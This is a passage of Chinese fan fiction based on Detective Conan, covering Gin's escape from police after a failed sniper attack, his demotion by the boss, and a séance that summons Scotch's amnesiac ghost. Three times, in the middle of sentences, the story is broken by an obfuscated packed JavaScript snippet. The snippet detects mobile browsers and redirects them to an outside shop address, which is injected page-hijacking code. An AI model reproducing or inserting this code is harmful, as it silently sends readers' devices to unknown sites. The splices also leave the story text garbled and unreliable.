“佐藤、高木,你们没事吧?”无线电里传来目暮焦急的声音。 “我们没事。” 佐藤保持匍匐姿态,略抬高头望出去。周围一片混乱。低头自保的、试图找出射击地点的…… 距离他们很近的位置,那名穿蓝西装的警官快速掩护专家重新退回机舱。 他们失控的警车居然正好停在直升机前,挡住袭击?真这么巧? 佐藤来不及多想,低头对高木说:“这辆车是最好的掩体,不要慌,我们等目暮警官的下一步指示。” 像佐藤说的,现在的情形对他们十分有利,本来在附近的同事回过神,纷纷举起防护盾,小心翼翼朝警车聚拢。只要能进一步锁定罪犯的位置…… 建筑物天台,目睹任务失败的伏特加大气不敢喘一声。 “该死!”琴酒脸色阴沉地咒骂。他沉默一秒,当机立断发出撤退命令。 “什么!撤退?”耳机里的基安蒂不可置信怪叫,伴随一声震耳欲聋的枪响,另一颗子弹朝停机坪猛飞过去。 “基安蒂,你干什么!”琴酒拔高嗓音怒吼。 原本碎了一地的车窗玻璃在夕阳照耀下形成折射,不偏不倚地暴露出第二名狙击手的位置。 “在11:50分方向!”机舱内的高明敏锐捕捉,并第一时间告知目暮。 得到情报的目暮率搜一全体和警视厅另外派来的外援倾巢出动! “诸伏警官,我们会没事的,对吧?” 按要求蜷缩身体躲在座位后的直美惨白着脸问。 “当然,”高明儒雅地笑着安慰她,“请您相信日本警方的力量,骤雨后的彩虹会格外美丽。” 直美愣愣地盯着高明。这男人身上有种立于风暴也不慌乱的力量。直美握紧拳头,深吸口气。 是啊,越是危险,就越证明她还有很要紧的事做,可不能死在这里。 同一时间,琴酒组织伏特加等人撤退。过程中,基安蒂还在耳机里不停地咒骂:“可恶!可恶!好不容易等到的机会!” 琴酒和伏特加在这边,基安蒂和科恩在另一栋临近的建筑。几人熟练地把滑索一端扣在天台栏杆,翻身越出,双脚用力往外一蹬。 琴酒从十八楼顺着外墙玻璃迅速下滑,长发在风中飘荡,犹如撕裂晚霞的一道银色火焰。鼓噪的风在他的黑风衣里猎猎作响,顺着缝隙进去,掀起下摆,露出他被布料包裹完美的背肌线条和一截纤细的腰。 一路顺畅滑到两楼半,琴酒的滑索突然卡了,他不上不下,没法动弹。上方不远的伏特加发现异状,低下头扯着嗓子问:“大哥?” 这时,夕阳红黄相间的光照在琴酒身旁的窗户上,一尘不染的玻璃显出个影子,先是一团白雾,慢慢地形成张模糊的人脸。 琴酒一下想到接连几天纠缠他,那种阴冷潮湿的感觉,他俊美的脸顿时狰狞,语气凶狠道: “你——想——看——我——死——吗?” 瞥见琴酒这般模样的伏特加止不住胆寒,“……大哥?” 两人的头顶似有脚步声蜂拥而至。 琴酒看着玻璃上时而变幻的影子,不假思索掏出随身携带的瑞士军刀。 咔嚓一声,滑索的钢缆应声断裂。琴酒在伏特加惊恐的注视中快速下坠。 哗啦啦—— 狂风在耳边如泣如诉。 他又想到那晚,浑身湿透的黑麦一脸嘲讽地盯着他,仿佛笃定他不久后就会重蹈自己的覆辙。 但黑麦,或者更应该称你为赤井秀一。 你已经死了,我还活着,并且会继续活下去! 琴酒嘴角噙一抹自信的笑,接近底部时,有意识放松肌肉,让摔伤的影响降到最低,可没想到,一团风在此刻降临,托着琴酒的背减缓速度。 琴酒像陷入一个冰冷的怀抱,他打个哆嗦,落地时几乎没有任何痛感。 “……” 这家伙到底想干什么! 琴酒愤恨地环顾四周,当然一无所获。 失控的事态让他的内心愈发烦躁,似乎有一簇火在胸口越烧越旺。 伏特加、基安蒂和科恩通过滑索陆续赶到他身边。 “你没事吧,大哥?” “什么‘没事’?琴酒他怎么了?” 琴酒不悦地瞪一眼伏特加,“废话少说,快去开车。” 片刻,四人坐上车,琴酒在主驾驶,伏特加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004649|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副驾驶,基安蒂和科恩则在后座。 琴酒踩下油门后不久,身后就传来恼人的警笛声,一同出现的,还有条子扯着破锣嗓的叫喊:“前方,尾号是XXXX的车辆立刻停车靠边,再说一遍……” 作为回应,琴酒一脚把油门踩到最底,车子像离弦的箭冲了出去。 …… 两方你追我赶。科恩和基安蒂刚把一辆警车的车胎打爆,就有另一辆警车顺势补位。 车内的气氛压抑到极点。 琴酒一边按事先踩点,把车往繁华的商业街开,一边头也不转地问伏特加,“现在让你黑进交通部后台,改变信号灯颜色,帮我们撤退,做得到吗?” “我……” 只一个字,琴酒就察觉伏特加的犹豫。而他从不把自己的性命交到缺乏自信的人手上。 “我知道了。” “……” 在一个本该左转的岔路口,琴酒果断右转,轻量车在极高的速度下完成漂移,车胎在地上留下两道深深的划痕,车里的人也跟着东倒西歪。 琴酒无暇顾及,他瞥眼手表,没记错的话,一分钟后,会有列火车从跟街面相接的轨道经过。 火车的运行总是很准时,换言之,他们绝不能晚到哪怕一秒! 50秒。 基安蒂又打爆了后面警车的轮胎,伴随一阵哀嚎,这辆车整个翻倒过去。 40秒。 电线杆上的乌鸦扑腾着翅膀哀鸣,衬得路上的气氛格外不祥。 30秒。 一滴汗珠从琴酒的发上滴进眼睛,模糊了他的视线。 20秒。 一只黑猫突然从路当中窜出来! “喵——————” 一声凄厉的惨叫划破长空,电线杆上的乌鸦受惊般振翅而飞…… * 琴酒紧赶慢赶到了铁轨,可还是慢了十几秒。 “都怪那只猫!”伏特加愤愤地捶了下汽车内壁,“大哥,现在怎么办?” “慌什么!”琴酒面色冷峻地训斥。 科恩和基安蒂的子弹即将用完,身后的警车却像蝗虫一样紧追不舍。 他紧捏方向盘,如果硬拼,也不是没有希望。 这时,面前的信号灯突然闪烁,一阵低沉的轰鸣随之而来。 等等,难道是…… 琴酒眼睛亮了亮,他故意放慢车速,引后方警车上钩。 “最后警告一遍,前面的人立刻放下武器,束手就擒!” 红色的火车头轮廓在琴酒的视野内逐渐清晰,他掐着秒猛踩油门。 * 后方警车 眼看高木要不管不顾猛追过去,后排的高明赶忙提醒:“火车过来了!” 话音刚落,轰隆隆—— 他们眼睁睁看着火车全列通过,几秒过后,对面的地上已经空无一人。 “可恶!”高木吓出一身冷汗,懊恼地捶下方向盘,“要是我再开快点儿……” 佐藤安慰地拍拍他的肩膀。 诸伏高明从后座下来,长腿迈过铁轨到达另一边。他捡起地上被视为灾厄的乌鸦羽毛,毫无征兆发问:“这列车是应该在这时候通过的吗?” “什么?” 在高明的指引下,佐藤快步走到一旁贴着的时刻表前,她看了眼表,“应该在十几秒之前就通过吧?难道正好晚点了?” “什么啊!”高木满脸通红地跟过来,“我们的火车怎么能帮着犯罪分子?” 高明一边摩挲手里漆黑的鸦羽,一边若有所思:“真的只是巧合吗?” 佐藤:“那……” 远方,一只黑猫忘了片刻前的惊魂,悠闲地趴在草丛里,舔舐自己的毛。 5. Ch05. Boss的惩罚 《琴酒的阴湿鬼男友》 /系田 二十分钟后,琴酒一行人在空旷地带得以喘息。 他们中途换车,旧车停在某个废弃的地下车库。入夜后,会有专人拖走、拆解和改装,保证再次出现在条子面前绝不会被认出。 “呼——”基安蒂斜靠在车窗上长舒口浊气,“差点以为要死了,还是你厉害啊,Gin——” 她报复性往嘴里扔了三颗泡泡糖,用力咀嚼着。 琴酒走过去,毫无征兆一巴掌甩在她脸上。 啪—— 突如其来的动静让大家惊呆了,伏特加错愕地张大嘴,科恩下意识捏紧背包肩带。 基安蒂的半张脸被打偏过去,耳朵嗡嗡响着,像有上千只蜜蜂在里面嗡鸣。 过了几秒,她转头恶狠狠瞪着琴酒怒吼:“你疯啦!” 琴酒面无表情地看她,语气堪称冷静:“从什么时候开始,你学会不听命令了基安蒂。” 一句话,让基安蒂语塞。现在事情搞这么大,归根究底是基安蒂那一枪惹的祸。 可就算这样……就算这样,琴酒也不能打她脸吧?还是当着这么多人的面! 基安蒂眼眶瞬间红了,里面的愤怒随时都要溢出来。琴酒却视而不见,目光凌厉地从另两个人身上划过。 伏特加像鹌鹑低着头不敢反驳,科恩倒是顶着压力,给基安蒂递张湿纸巾。 可基安蒂不领情,反而把满腔怒火全撒给科恩,“滚开!”她边说边把湿纸巾揉成团摔在地上。 现场气氛剑拔弩张。这时,伴随炸街的低沉轰鸣,一辆哈雷摩托从不远处驶来。 琴酒手摸上枪,警惕转身。下一秒,那辆摩托擦着他的裤腿漂移停下,车胎在地上划出夸张的圆弧痕。 轰—— 摩托主人摘头盔时“嘶”了声,满头烦人的玉米辫映入琴酒眼帘。 “宾加,你来干什么?还有你的脸,终于被人打了?” 每次遇见宾加,琴酒都会花一秒思考,这家伙平时到底要用多久才能扎成这么多品味低俗的辫子。 不过今天不得不承认,要是没这些辫子,琴酒还真认不出他。 因为宾加的脸还没完全消肿,眉骨、颧骨贴了好几块邦迪。 宾加神色骤变,轻蔑的视线不经意滑过一旁的伏特加,伏特加却眼神闪躲,死活不肯跟他对视。 这暗流涌动的一幕被琴酒完全捕捉,他不动声色。 “少管本大爷闲事!要是本大爷不来,怎么看见你恼羞成怒的样子?” 这话一出,率先发怒的不是琴酒,恰恰是被打的基安蒂本人。基安蒂好面子,窘迫的场景被伏特加和科恩看见就算了,现在居然还多了个敌对阵营的宾加! 她当场撕碎宾加的心都有!科恩眼疾手快按住她。 “你还没回答我的问题——为什么出现在这儿?” 宾加长腿一跨下车,踩着漆黑的皮靴逼近琴酒,还用头盔重重地捅琴酒胸口,“刚才那列晚点的火车,你该不会以为是自己运气好吧?如果不是我黑进交通部后台,延缓了信号灯,你怎么被条子围猎的都不知道!” 明明现场这么多人,宾加灼灼的目光却只盯着琴酒,冲得像吃炸.药的语气也只针对琴酒。因为,只有琴酒值得被他打败。 他想象琴酒受他恩惠后羞愤欲死的表情。谁知对方只淡淡地“嗯”了声,“那多谢了。” “……哈?” “不然还要怎么样?” 宾加也不知道自己想怎样,琴酒怎样表现才能让他满意。他当即冷脸,嘴角挂着抹恶劣的笑:“说谢谢也没用,朗姆大人已经知道你们任务失利,现在就跟我回去接受询问吧!” 真期待你坠入深渊时的表情啊,Gin—— * 回总部后,琴酒径直去了17层,只有管理人员才能刷指纹和虹膜进入的地方——据说“那位大人”的办公室就在那儿。 剩下的基安蒂、科恩和伏特加在一楼会议室等待。 偌大的会议室没人说话,连呼吸声都很轻,气氛沉闷得可以。 率先打破沉默的是宾加,他嘲讽地说:“这次任务做那么难看,琴酒一定会甩锅吧?” 听到这儿的基安蒂脸色立刻煞白。琴酒那巴掌甩得重,到现在她皮肤上还残存红印。 “……” “也不是没可能。”科恩冷静分析道,“我以前在银行的融资部门。我们那儿有句话,‘上司的过错是下属的过错,下属的功劳是上司的功劳’。” 组织里的成员鲜少主动聊起过往,但此时此刻,没人有闲心对此好奇。 基安蒂狠狠一脚踩住科恩,“你不说话没人把你当哑巴!” 科恩痛得脸色剧变,也抿着唇硬撑没吭声。 “不会的!大哥不会弃我们于不顾。” “切,”宾加鄙夷地挑挑眉,“那就让我们拭目以待好了。” * 17层,Boss办公室。 房间里一片昏暗,明明太阳还没下山,窗帘却已经拉得严严实实。 琴酒挺直背脊,不卑不亢地注视真皮座椅上的男人。 很少有人知道,这个庞大跨国性犯罪组织的幕后首脑也是日本首富,被无数人称颂的“慈善家”——乌丸莲耶。 乌丸今年40出头,保养得当的脸上窥不见一丝皱纹,似乎比任何人都排斥“衰老”这件事。 此刻,他一脸沉静地转动着左手尾指的祖母绿戒指。 “听朗姆说,你不仅没完成我交给的任务,还闹出很大动静,差点让条子抓了?” 琴酒恭敬低头,“抱歉Boss,这次是我的失误。” 乌丸从座椅上起身,径直走向琴酒。他穿着价格不菲的定制白西装,连尖头皮鞋都是一尘不染的白色,和浑身漆黑的琴酒形成鲜明对比。 “跪下。” 琴酒单膝下跪。 乌丸掐住他的下巴抬起来,居高临下,一寸寸打量和亵玩琴酒的脸庞。 琴酒是他一手打磨培养的,无论是精进射击、第一次独立任务,还是获得代号,最终变成组织TK……一切都在乌丸的眼皮子底下进行。 是乌丸发现琴酒的天赋,当然,还有他的美。 琴酒很美,蛇一般狭长的橄榄绿眼眸、高挺的鼻梁、薄情的嘴唇,还有瓷器般苍白没有瑕疵的皮肤,连身高都是日本人中鹤立鸡群的存在。 这样的条件,其实一点都不适合当杀手。 但没关系,只要把怀疑他的人都杀了就行。琴酒卓越的体能做得到这点,在之前的任务中也从未让乌丸失望。 “有人向我举报,说你伪造了黑麦是老鼠的证据,故意促成他死亡。是真的吗?” 话音落,琴酒眼里蹿出团绿色火焰,没等乌丸看清,又变成戏谑的笑。 “你笑什么?” “我笑举报的人蠢。就算真是我做的,您也不可能为了个死人惩罚我。”他灼灼地凝望乌丸,话锋一转,“还是说,根本不存在这么个人。” 哪怕是朗姆那个老家伙,也不会这么傻。 乌丸冷冷盯着琴酒,嘴角一翘,忽而笑了:“阿琴果然了解我。那你更该知道,我赋予黑麦盛名,也是为了培养你。只有你值得我花费心血。” “好了,现在告诉我,到底是谁让这次任务失败的?是那个老跟在你身边的伏特加?我听说你们这两天关系不好。” 乌丸爱怜地摩挲起琴酒的脸颊,似乎很喜欢这种绸缎般光滑的质感,满意地眯了眯眼。 琴酒仰望乌丸,那张藏在阴影里的脸看不清表情,唯独语气婉转动听。 “是……” “砰!” 琴酒刚要说,乌丸桌上的马克杯蓦地爆裂。“当心!”琴酒飞快起身把乌丸拽到一边,四溅的陶瓷碎片划伤琴酒手背,在上面留下略深的豁口。 他毫不在意,走到桌前查看碎片情况。 是微型炸.弹吗? 不,不是。 “好像是天气过热引起的。” 琴酒这样说,却不着痕迹地环顾四周,心里形成另一番猜想。 该不会又是“那个家伙”? 乌丸也跟过来,捡起块碎片装模作样端详,“原来如此,我还以为是你故意受伤,好蒙混过关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004650|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你刚说什么来着?再说一遍,我没听清。” “这次任务由我统筹,失败就是我的责任。” “……” 片刻前的旖旎气氛像被戳破的泡沫,烟消云散。乌丸面色含霜瞪着他,指甲用力戳进他手背新鲜的伤口,仿佛故意要让他痛。 但琴酒自始至终都没皱一下眉。 “你知道这样说会有什么后果吗?” “我知道。” 乌丸面色一沉,猛地甩开琴酒的手,“滚出去!” 琴酒大步流星走了,到了门口,又被乌丸从背后叫住:“既然犯了错,亡羊补牢的事总得做。你喜欢谁替你擦.屁.股?” …… 琴酒乘电梯到一楼,电梯门打开,伏特加等人迎上来,里面没有宾加的身影。 伏特加一眼看见琴酒的手背,“大哥,你受伤了!” 科恩依旧沉默寡言,基安蒂佯装潇洒地落在最后,双手环胸,“说吧,老板准备怎么处置我?” “从今天开始的一个月,你每天要射击1000发子弹,别人用完射击场后留下来规整打扫。另外,我打你,是因为你在任务开始前想抢功,听懂了吗?” 基安蒂懵懵的,伏特加也一脸没转过弯的表情,在场人中只有科恩是真明白。他不露山水,护目镜后的双眼却微微震动。 当天晚些时候,琴酒的处分正式通过邮件告知每一位代号成员——同时剥夺管理权和代号,降为普通成员。 * 打烊后的伊吕波寿司店 伪装成寿司师傅的朗姆边养护刀具,边和宾加闲聊:“你觉得琴酒这次失败和‘那人’有关吗?” “切,琴酒身边的废物有什么能耐?不过,没想到琴酒这次会一力承担,看来他比我想的更蠢。” 宾加边说边观察上司神色。朗姆惋惜一笑,磨刀的动作跟着慢了,“哎,到底是年轻人——” 光可鉴人的刀面映照出他冷漠的右眼。 说话间,又一封邮件同时抵达两人手机。宾加在朗姆的准许下点开一看: “原属于琴酒指挥的全年龄识别系统相关任务,现由朗姆主导,指派人选为『宾加』。” 宾加顿时喜形于色,脸上的肿痛也变得不再难忍。 果然是金子就会发光,自己这段时间的溜须拍马没白费! “多谢朗姆大人,我一定会让您满意。” 在宾加不曾注意的角落,朗姆神色一顿,转瞬又若无其事展现他和善的笑容。 “当然,为了拉拢‘那人’,把你打成这副鬼样子,总要给你安排个好差事表现表现。那我就擦亮眼睛等着了。” * 晚上八点,琴酒在公寓沙发处理手背的伤,他把伤口里的碎屑一一挑出,脑子里却不住回想起今天的种种异状。 天台门口那团白雾、模糊的瞄准镜、从滑索坠到地面时被怀抱的感觉,最后是Boss办公室那个突然爆裂的马克杯…… 就连公寓此刻的温度也透着股诡异的凉爽。 『那个家伙!』 他套上风衣给仍在美国的贝尔摩德打电话,忙音。 “啧。” 过了会儿,贝尔摩德主动拨过来,“喂?你这家伙,人缘比我想象的好啊~” “你在说什么。” “说你没了代号,很多人赶着安慰咯。” 琴酒拧拧眉,不欲细说两人刚刚同时打电话,才没能接通的事实。 “我说,我可是把赌注下在你身上,和你结盟了。你现在的表现也太差劲了吧?Gin。” “别叫我Gin,你忘了我现在没代号吗?” 听筒里的贝尔摩德娇笑了声:“那不行,我都不知道怎么称呼你。再说了,属于你的东西,你总会拿回去。我认识的Gin,可不是什么宽容大度的男人。” “呵。”琴酒任由贝尔摩德调侃一阵,“好了,我这次打电话是有正事找你。” “嗯哼?” 琴酒难得犹豫,直到贝尔摩德威胁要挂断,才死皱着眉开口: “……你前两天说的‘驱鬼’要怎么做?” 6. Ch06. 鬼魂现身 《琴酒的阴湿鬼男友》 /系田 电话那头,贝尔摩德笑得异常大声。琴酒冷脸忍了会儿,实在没忍住,“你笑够了吗?” 贝尔摩德被自己的口水呛到,咳嗽两下:“好了好了,我这就把灵媒师朋友的电话发你。祝你早日摆脱那只讨厌鬼~” 琴酒准备挂断,听筒里的贝尔摩德还在用自以为轻的音量嘟囔:“到底哪只鬼会缠上你啊?不怕被冻死吗?” “……” 片刻后,琴酒从灵媒师那儿得到所谓的驱鬼办法。他紧皱的眉没舒展,反而更头痛了。 『新鲜水果、美味食物、香炉、风铃、盐巴……』 这些都好办。 但『死者生前照片和常用之物』。 他该去哪儿找? 琴酒坐在沙发上,深吸口气闭眼。黑暗中,记忆宫殿层层展开,“那家伙”平日在总部的行动轨迹犹如画卷清晰。 突然,闪电划过。琴酒猛地从无数杂乱无章的细节中抓住一处! 重新睁眼,他已经自信满满。 * 晚上9点,组织的大部分区域早已熄灯沉静,唯独3楼射击场时不时传出乒乒乓乓的噪音。 偌大空间亮如白昼,基安蒂纤细的身影站在中央,头戴VR眼镜和绿色降噪耳机。她屏息凝神,等待随时可能出现的目标。 VR眼镜里是个热闹的酒会现场。悬挂的水晶吊灯投射五彩斑斓的光,人们或西装革履,或长裙曳地,觥筹交错间,满是欢声笑语。 忽然,角落一个灰白发的老头脸被红框圈起,屏幕上同时出现一行简短提示: 『400码,心脏,倒计时3秒。』 “3。” 基安蒂用对准镜瞄准目标胸口。 “我能直接杀了那个专家吗?TA不是你的专属猎物吧?” “2。” 基安蒂手指扣紧扳机。 从枪膛射出的子弹被直升机前的警车阻挡,反而暴露了位置。 “在11:50分方向!” “1。” “全员撤退!基安蒂你干什么!” 基安蒂一枪射出,砰—— 子弹没能击中心脏,而是向上偏移,贯穿老头肩膀。鲜红的血从伤口漫出,瞬间浸湿浅蓝色的西装。 老头失力,软软倒在地上。 “啊————” 宾客们见状,如惊弓之鸟,四散着逃开。 不一会儿,基安蒂头顶响起冰冷的女性机械音:“任务清除失败,倒扣200积分。” 她眼睁睁看着自己从本月狙击手积分第二下滑五六个位置。 “干!” 基安蒂狠狠朝地上淬口唾沫。一股凉风掠过后颈,她哆嗦了下,反射性摘掉眼镜、耳机猛转过身,骂骂咧咧的话却在看清来人后,尴尬地卡在嗓子里。 “G、Gin……你怎么来了?” 琴酒置若罔闻,径直走向靠墙那一排保险柜,他抬左手按上指纹锁。 “抱歉,您没有权限打开该柜,请咨询上一级成员,或查证后再试。” “真是急不可耐。”琴酒嘲讽地笑一声。 如果没记错,这种鸡毛蒜皮的小事向来是朗姆那边负责。 他转头,对上基安蒂复杂的眼神,事不关己般淡然道:“麻烦借你的指纹用用。” 基安蒂一反常态立刻照做,她手指一按,保险柜“啪嗒”一下开了。 保险柜里是把平平无奇的黑色九公厘口径手.枪,琴酒摩挲枪管,似乎还能感受到“那家伙”灼热的掌温。 “这种垃圾。你需要更好的,我现在就能帮你拿。” “不用,这把就可以。” 这是琴酒发现“那家伙”的老鼠身份后,亲手缴来的武器。 琴酒把枪揣在腰间打算走,经过基安蒂时蓦地撂下一句:“打枪就打枪,别想东想西。” 基安蒂瞬间像被踩到尾巴的猫跳起来,“谁说我没专心了,我……” “呼吸。”琴酒指了指基安蒂鼻子底下,“你刚才的呼吸,节奏很乱。” “还有,你瞄准目标后,有时会无意识抬手。如果想变成积分榜第一,最好改掉这个坏习惯。” “……”基安蒂语塞,不知是觉得丢了面子,还是一种无法坦诚的情绪,一股烦躁涌上胸口。 “别以为你假装教我,我就会愧疚。是你自己没把我的过错告诉Boss,丢了代号是你自找的!” 琴酒自顾自地往前走,离门还有几步之遥时,背后传来“砰——”的一声巨响。透过门口的镜子,琴酒看见基安蒂表情扭曲地把枪砸在地上。 “对不起——” 女人站在原地,倔强地扬着脖子,浑身颤抖。 琴酒眉峰微动,没想到这个不服管的『前下属』也会有主动道歉的一天。 他不回头地挥挥手,“至少,你今天爆条子轮胎的时候很准 ” “……” 琴酒走出门,冲着走廊里一根灯光照不到的柱子问:“基安蒂知道你是个跟踪狂吗?” 须臾,从柱子后绕出个高大沉默的身影。 “我只是担心搭档的情况。你呢,你接下来打算怎么办?” 琴酒戏谑一笑:“原来你也会关心别人?该说是托了基安蒂的福?”他转瞬又冷下脸,“但我的事不是你该管的。” 琴酒的五官藏在阴影里,唯独那双橄榄绿的眼睛泛着蛇一般冷峻的光,配合射击场内乒乒乓乓的响声,让科恩的心脏都跟着漏跳半拍。 他怎么会因为琴酒一时的温情,就忘了对方是多可怕的人? “抱歉。”科恩下意识说。 “看好你的搭档,再有下次,恐怕你就只能替她收尸了。” “……” 等科恩抬头,琴酒已经走远,他只来得及看见那片黑色的风衣下摆飘荡着,悄无声息融入如墨的夜。 * 琴酒跑了好几个地方,才差不多备齐灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004651|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媒师要求的东西。此刻,他埋首在餐桌前,准备最后一样——赤井秀一的肖像画。 因为没有照片,只能用画代替。 身为顶尖杀手,琴酒有过目不忘的能力,任何细节只要瞥过一眼,就能一比一还原。 A4纸上赤井惯戴的冷帽、菱形的眼睛,纤长浓密的下眼睫,就连那抹不羁的弧度都模仿得惟妙惟肖。 实在太栩栩如生了,简直可以直接拿去当通缉令的程度。 琴酒看着看着,胸口冒出股无名火。 他开始着手布置驱鬼现场。 新鲜出炉的画放进相框,前面一只香炉,香炉前摆那家伙的常用枪。周围则是刚买的水果。琴酒不可能特地为那个男人做饭菜,而是回家路过便利店顺手带的快过期的饭团。 准备好一切,琴酒起身关灯。 啪嗒—— 整个客厅陷入昏暗,今晚没有月亮,琴酒凭借优秀的夜间视力无障碍回到客厅中央。他找到事先放在地上的一根白蜡烛,银质的打火机夹在指间,噗嗤一声,橘红火苗把蜡烛点燃。 赤井秀一的画被摇曳的烛光衬着,原本俊朗的五官竟也扭曲变形,有了几分诡异的味道。 琴酒盘坐在地上,嘴里默念灵媒师教的咒语。 第二遍时,背后发生了些异动。 “叮叮当当——” 挂在阳台的风铃突然疯狂旋转,伴随一声不易察觉的响,阳台的门自开,一股冷风顺着缝隙爬进来,卷起地上微尘,一步一个脚印地靠近琴酒。 哗——哗—— 客厅的温度瞬间骤降好几度。 渐渐地,琴酒后背感觉到似曾相识的冷,这冷像茧,全方位把琴酒裹住,轻易就让琴酒想起白天的拥抱。 光天化日,夏季高温,但依旧冷到要掉冰渣的那个拥抱。 琴酒手臂不由起了层鸡皮疙瘩。他倏然睁眼,目光凌厉地扫视四周。烛火依旧燃着,赤井秀一依旧面目可憎,似乎是他多心,周围什么都没有改变。 正当他这么想时,余光突然瞥到一旁的香炉,香炉里插了根细细的香,袅袅的灰雾随着燃烧的香升起,而灰雾边上赫然是个模糊的人影! 那人影仰着头,喉结微微凸出,贪婪地吮.吸着香燃后产生的烟。 琴酒神色一凛,立刻掏出口袋里偷藏的盐巴扑过去。 砰—— 他一下撞倒香炉,伸手一抓,却什么都没抓到。 “赤井秀一,你给我滚出来!” 一声歇斯底里的怒吼后,烛火跟着熄灭,公寓里不见五指,静悄悄的。 该死—— 他就不该相信什么盐能驱鬼! 琴酒气急败坏地抓起装了赤井肖像画的相框就想砸,一直躲藏在云层后的月亮在这时探头。 一股似有若无的视线在琴酒背后,他转过身,皎洁月光下,一个瘦削的男人穿着件被香灰弄脏的白衬衫,睁一双无辜的猫眼问: “你说的赤井秀一,是我吗?” 7. Ch07. 跟鬼魂谈判 《琴酒的阴湿鬼男友》 /系田 出现在琴酒面前的,是他从未设想过的人选——苏格兰。 “怎么是你?” “为什么不是我?原来我不叫赤井秀一,那我叫什么?” 苏格兰急切地问,只得到琴酒看智障般的眼神。他恍然大悟,“抱歉,我失忆了。” “滚远点。” 琴酒开始弯腰收拾驱鬼用的东西,吃的那些留下,其他的一会儿都喂给垃圾桶。 突然,他想起什么似地顿住,“你什么时候开始跟着我的?” 苏格兰不疑有他,“就那天天台之后。” 『天台之后。』 一瞬间,许多片段如潮水般涌入琴酒脑海——一会儿是伏特加偷偷摸摸的祭祀,一会儿是苏格兰被弄脏的照片,最后定格在他抵住伏特加额头的那只枪口上。 对了,伏特加还为了这家伙公然反抗他! 好不容易平息的怒火卷土重来,琴酒神情扭曲,“所以,你是为了我踹翻香炉来报复我?说,这些天你都干了什么!” 苏格兰被琴酒的突然爆发吓坏了,支支吾吾回忆道:“……你家跳闸应该跟我有关,但我不是故意的,是灵体的存在影响了电源吧?” “但今天就没事。也可能是你那天打断我进食了,我脾气有点暴躁……”苏格兰用极轻的声音嘟嘟囔囔,间或谴责地瞪着琴酒。 “还有,你想暗杀的那个专家,也是我操纵警车挡了一下。” 刚听第一个,琴酒还只是脸色变黑,到苏格兰讲完,他整个人都冒出腾腾煞气。琴酒一把抓起刚才招魂,赤井秀一常用的手.枪返身直抵苏格兰的太阳穴。 “你是说,我今天任务失败是你的杰作?” 刹那间,周遭变暗,事先察觉危机的皓月重新以八百米冲刺速度躲回云层后。 黑暗中,琴酒目光灼灼地凝视苏格兰,那橄榄绿的眼眸,淬着寒意,让人想起吐着信子的毒蛇,仿佛苏格兰只要点下头,他就会立刻扑上去咬断苏格兰的脖子! 苏格兰艰难吞了口唾沫,在琴酒扣动扳机前,灵敏地化作烟躲到离琴酒最远的客厅角落。 他双手摇摆,“别那么激动,再说,你怎么能杀人呢?” 琴酒气笑了,在面前的到底是个失忆症还是个纯粹的傻子? 身为组织的顶尖杀手,他不杀人,又该干什么? 琴酒边冲刺,边从口袋里抓起把盐撒向苏格兰。白色的晶体像漫天大雪簌簌落下。苏格兰躲闪不及,被撩到衬衫下摆。那盐一碰到他的衣服竟变成橘红的火苗,灼灼烧起来。 轰—— 客厅里弥漫起显而易见的焦味。 从未处理过这种情况的苏格兰惊慌失措,他试图灭火,却不敢用手碰,又没办法立刻找到水源。等衬衫下摆被烧掉半截,那彤彤的光倒映进他猫一般温润的眸子里,在那里点燃了火。 苏格兰一下怒了,浑身爆发出惊人的力量,距离他很近的电视机体也控制不住轻轻摇晃。 他快速朝琴酒扑过来。 即使动态视力远超常人的琴酒也没能捕捉到苏格兰的行动轨迹,只听扑通一声,琴酒已经被压在沙发上,动弹不得。巨大的寒意包裹住他。 “够了!你能不能听人把话说完!我又不止做了这些!那个油漆桶,还有你卡住的滑索,如果不是我接着,你会受伤的。” 琴酒仰面朝天,银白长发如上好的绸缎披散在黑色漆皮的沙发上。他面容沉静,橄榄绿的眼眸荡漾波光,薄情的嘴唇微微抿着,忽而一笑:“那我是不是还要感谢你?” 他一笑,面上的冰霜便如遇到春日暖阳顺势散开,苏格兰没想到他会这样,看得有点呆了,惨白的脸庞也慢慢浮现一抹红晕。 苏格兰害羞地低头,“那倒也不用,我只希望你能脾气好点。” 『……那我是不是要夸你对组织忠诚?』 『那倒也不用。』 琴酒轻易想起那天跟伏特加在天台的对话,胸口的那把火越烧越旺。 “还真是好兄弟啊——”琴酒咬牙切齿呢喃着,苏格兰没听清,下意识低头,“你说什么?” 砰—— 